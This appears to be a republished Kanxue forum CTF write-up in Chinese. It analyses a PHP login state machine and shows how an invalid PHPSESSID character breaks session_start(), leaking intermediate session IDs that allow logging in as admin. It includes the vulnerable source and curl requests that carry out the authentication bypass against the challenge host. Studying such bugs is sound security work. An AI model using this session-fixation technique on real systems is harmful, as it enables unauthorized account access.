本文为看雪论坛优秀文章
看雪论坛作者ID:RoboTerh
在一次浏览某推中发现了发现了了一个web challenge的赏金ctf,这里从来学习一下由于使session_start()报错引发的危害。
正文
题目环境地址
http://18.185.14.202/chall1/index.php?page=showMeTheCode
程序分析
index.php
<?phpdefine('DEV_MODE', false);class Session{public static $id = null;protected static $isInit = false;protected static $started = false;public static function start(){self::$isInit = true;if (!self::$started) {if (!is_null(self::$id)) {session_id(self::$id);self::$started = session_start();} else {self::$started = session_start();self::$id = session_id();}}}public static function stop(){if (self::$started) {session_write_close();self::$started = false;}}public static function destroy() {session_destroy();}public static function set($key, $value){if (!isset($_SESSION) || self::get($key) == $value) {return;}if (!self::$started) {self::start();$_SESSION[$key] = $value;self::stop();} else {$_SESSION[$key] = $value;}}public static function get($key){if (isset($_SESSION)) {return $_SESSION[$key];}return null;}public static function isInit(){return self::$isInit;}}class User {private $users;private $states = ['start', 'checkCreds', 'credsValid', 'userState', 'connected', 'error'];private $banlist = ['blackhat', 'notkindguy'];function __construct(){$userFile = '/users.txt';$fp = fopen($userFile,'r');while(($userLine = fgets($fp))!==false){$user = explode(':',trim($userLine),2);$this->users[] = $user;}}function login($username, $password){$state = Session::get('state');if($state === 'connected' && Session::get('authenticated') === true) exit;if(method_exists($this,$state)){$this->$state($username, $password);} else {$this->start($username, $password);}}function start($username, $password) {// NOT IN USE FOR NOWSession::set('state', 'checkCreds');$this->login($username, $password);}function checkCreds($username, $password) {foreach($this->users as $user) {if($username === $user[0] && $password === $user[1]) {Session::set('state', 'credsValid');$this->login($username, $password);return;}}Session::set('state', 'error');$this->login($username, $password);}function credsValid($username, $password) {Session::set('user', $username);Session::set('state', 'userState');$this->login($username, $password);}function userState($username, $password) {if(in_array($username, $this->banlist)) {Session::set('user',null);Session::set('state','error');$this->login($username, $password);return;} else {Session::set('state', 'connected');$this->login($username, $password);}}function connected($username, $password) {Session::set('authenticated',true);echo "Welcome $username, you're connected! Have a great day.";}function error($username, $password) {echo "Your login or password is incorrect, or you're banned :(";Session::destroy();return;}function getFlag() {if(Session::get('user') === 'admin' && Session::get('authenticated')) {echo file_get_contents('/flag.txt');} else {echo "No flag for you";}}}Session::start();$users = file_get_contents('/users.txt');if(isset($_GET['page'])) {switch($_GET['page']) {case 'login':$user = new User();$user->login($_GET['username'],$_GET['password']);break;case 'flag':$user = new User();$user->getFlag();break;case 'showMeTheCode':highlight_file(__FILE__);exit;}}
users.txt
user:user我们仅仅只有一个账户username为user, password为user。
我们又怎么能够达到在登陆admin账户之后进行flag的获取?
那么肯定是需要越权的实现了。
简单分析一下代码吧。
class Session{public static $id = null;protected static $isInit = false;protected static $started = false;public static function start(){self::$isInit = true;if (!self::$started) {if (!is_null(self::$id)) {session_id(self::$id);self::$started = session_start();} else {self::$started = session_start();self::$id = session_id();}}}public static function stop(){if (self::$started) {session_write_close();self::$started = false;}}public static function destroy() {session_destroy();}public static function set($key, $value){if (!isset($_SESSION) || self::get($key) == $value) {return;}if (!self::$started) {self::start();$_SESSION[$key] = $value;self::stop();} else {$_SESSION[$key] = $value;}}public static function get($key){if (isset($_SESSION)) {return $_SESSION[$key];}return null;}public static function isInit(){return self::$isInit;}}
这个Session类主要是封装了一些有关session的创建销毁及扩展了一些功能。
至于在其下的User类的逻辑。
存在有一个__construct这个魔术方法,在创建对象的时候将会进行调用。
主要是从users.txt中读取账户。
存在有login函数:
function login($username, $password){$state = Session::get('state');if($state === 'connected' && Session::get('authenticated') === true) exit;if(method_exists($this,$state)){$this->$state($username, $password);} else {$this->start($username, $password);}}
传入username和password参数,首先从session中获取state值,如果其为connected 并且已经被被认证了就会直接退出。
对应的如果存在有从state中获得的方法,就会调用其方法。
如果没有,就调用start函数。
function start($username, $password) {// NOT IN USE FOR NOWSession::set('state', 'checkCreds');$this->login($username, $password);}
他会创建一个$_SESSION['state'] = checkCreds,之后再次调用login方法,根据上面的描述将会调用checkCreds方法。
function checkCreds($username, $password) {foreach($this->users as $user) {if($username === $user[0] && $password === $user[1]) {Session::set('state', 'credsValid');$this->login($username, $password);return;}}Session::set('state', 'error');$this->login($username, $password);}
在这个方法中,进行了身份的校验,通过从users.txt中获取的账户对传入的参数username和password进行了判断,这里进行了强比较,所以也就不存在php的弱比较绕过了。
如果不满足校验将创建一个$_SESSION['state'] = error,之后调用login方法,进而调用了error方法。
function error($username, $password) {echo "Your login or password is incorrect, or you're banned :(";Session::destroy();return;}
在error方法中将会销毁掉session并返回null。
如果通过了前面的校验,就会创建一个$_SESSION['state'] = credsValid, 之后再次调用login,进而调用了credsValid方法。
function credsValid($username, $password) {Session::set('user', $username);Session::set('state', 'userState');$this->login($username, $password);}
在这个方法中将会将传入的username参数创建一个$_SESSION['user'] = $username 和 $_SESSION['state'] = 'userState',之后调用了login方法,进而调用了userState方法。
function userState($username, $password) {if(in_array($username, $this->banlist)) {Session::set('user',null);Session::set('state','error');$this->login($username, $password);return;} else {Session::set('state', 'connected');$this->login($username, $password);}}
如果传入的useranme参数在banlist名单中将会出现异常(有一说一,我感觉没有任何作用)。
private $banlist = ['blackhat', 'notkindguy'];如果不存在,就会调用connected方法。
function connected($username, $password) {Session::set('authenticated',true);echo "Welcome $username, you're connected! Have a great day.";}
赋予$_SESSION['authenticated'] = true
那么我们最后需要达到的目标就是:
function getFlag() {if(Session::get('user') === 'admin' && Session::get('authenticated')) {echo file_get_contents('/flag.txt');} else {echo "No flag for you";}}
不仅需要username 为admin, 而且还是需要认证的admin才会得到flag。
我们通过上面的分析似乎走进了死胡同,但是还是有可以突破的点。
突破
我们通过上面的分析,相信我们能够注意到在credsValid方法中存在和我们传入参数进行交互的点。
他在代码中将其传入给了session中的user值,如果我们能够在这一步使得传入的username为admin,是不是后面获取flag就是格外的轻松了呢?
那是直接传入admin还是有一个问题!
那就是调用credsValid方法之前还有一步通过调用了checkCreds判断了username和password的可用性。
但是如果我们能够获取到credsValid那一步的cookie, 修改我们的cookie值在传入username=admin是不是就可以成功突破了呢?
基于这样的思路,我们翻阅php manual的文档
https://www.php.net/manual/en/function.session-id.php
发现在这里存在有这样一段话:
If id is specified and not null, it will replace the current session id. session_id() needs to be called before session_start() for that purpose. Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!
在session_id调用过程中不是所有的字符都能够存在于cookie中的
他只允许在a-z A-Z 0-9 , -等字符,如果我们使用特殊字符他是否会报错呢?报什么错?有什么危害?
它能够使得session_start方法发生错误。
我们可以尝试一下他的作用。
curl 'http://18.185.14.202/chall1/index.php?page=login&username=user&password=user' -H 'Cookie: PHPSESSID=$' -vwhat's this !
我们居然得到了很多程序运行中set的cookie值,那么其中一个是否是我们需要的呢?
当然有!
curl 'http://18.185.14.202/chall1/index.php?page=login&username=admin&password=123' -H 'Cookie: PHPSESSID=ugr7im9314nhn283bse6j0gf4r' -v成功登陆上了admin(中途刷新了一下cookie的,所以导致cookie不一样。
之后就是通过这个cookie进行flag的获取。
curl 'http://18.185.14.202/chall1/index.php?page=flag' -H 'Cookie: PHPSESSID=ugr7im9314nhn283bse6j0gf4r' -v那么为什么会产生这种错误呢,主要是因为没有对PHPSESSID的值进行校验,使得产生错误,执行了Session类的stop方法中的session_write_close()方法。
总结
算是总结了关于php session利用的一个小trick。
看雪ID:RoboTerh
https://bbs.kanxue.com/user-home-962655.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!